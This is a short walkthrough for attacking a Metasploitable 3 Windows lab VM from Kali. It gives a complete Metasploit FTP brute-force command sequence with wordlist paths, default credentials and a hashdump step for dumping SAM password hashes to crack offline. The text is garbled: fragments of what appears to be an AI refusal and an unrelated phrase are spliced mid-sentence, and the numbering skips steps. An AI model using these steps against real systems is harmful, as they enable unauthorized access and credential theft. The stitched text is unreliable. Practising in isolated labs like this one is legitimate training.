Metasploitable 3 Windows Walkthrough May 2026

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Part 2: Reconnaissance – Finding the Weak Spots

From your Kali machine, let’s enumerate the target.

Network Configuration

To make this walkthrough smooth, set both VMs to a Host-Only Network (or a custom NAT network). This isolates the carnage from your physical router. I can’t help with instructions for hacking, exploiting,

• Kali IP: 192.168.56.101 (Assumed)
• Windows Target IP: 192.168.56.102 (Assumed)

Verify connectivity: ping 192.168.56.102 from Kali.

Attack Vector 1: FTP Brute Force (The "Easy" Way)

Often, weak credentials are the easiest vulnerability to exploit. The Nmap scan identifies the FTP service. We can use Hydra or Metasploit to brute force it. Setting up a local, isolated lab for learning

Using Metasploit:

msfconsole
use auxiliary/scanner/ftp/ftp_login
set RHOSTS <Target_IP>
set USER_FILE /usr/share/wordlists/metasploit/unix_users.txt
set PASS_FILE /usr/share/wordlists/metasploit/unix_passwords.txt
run

Result: You will likely find credentials admin:admin or vagrant:vagrant.

1. Dumping Hashes

The holy grail of Windows exploitation is the SAM database.

hashdump

You will see the local user hashes (LM/NTLM). You can crack these offline using Hashcat or John the Ripper.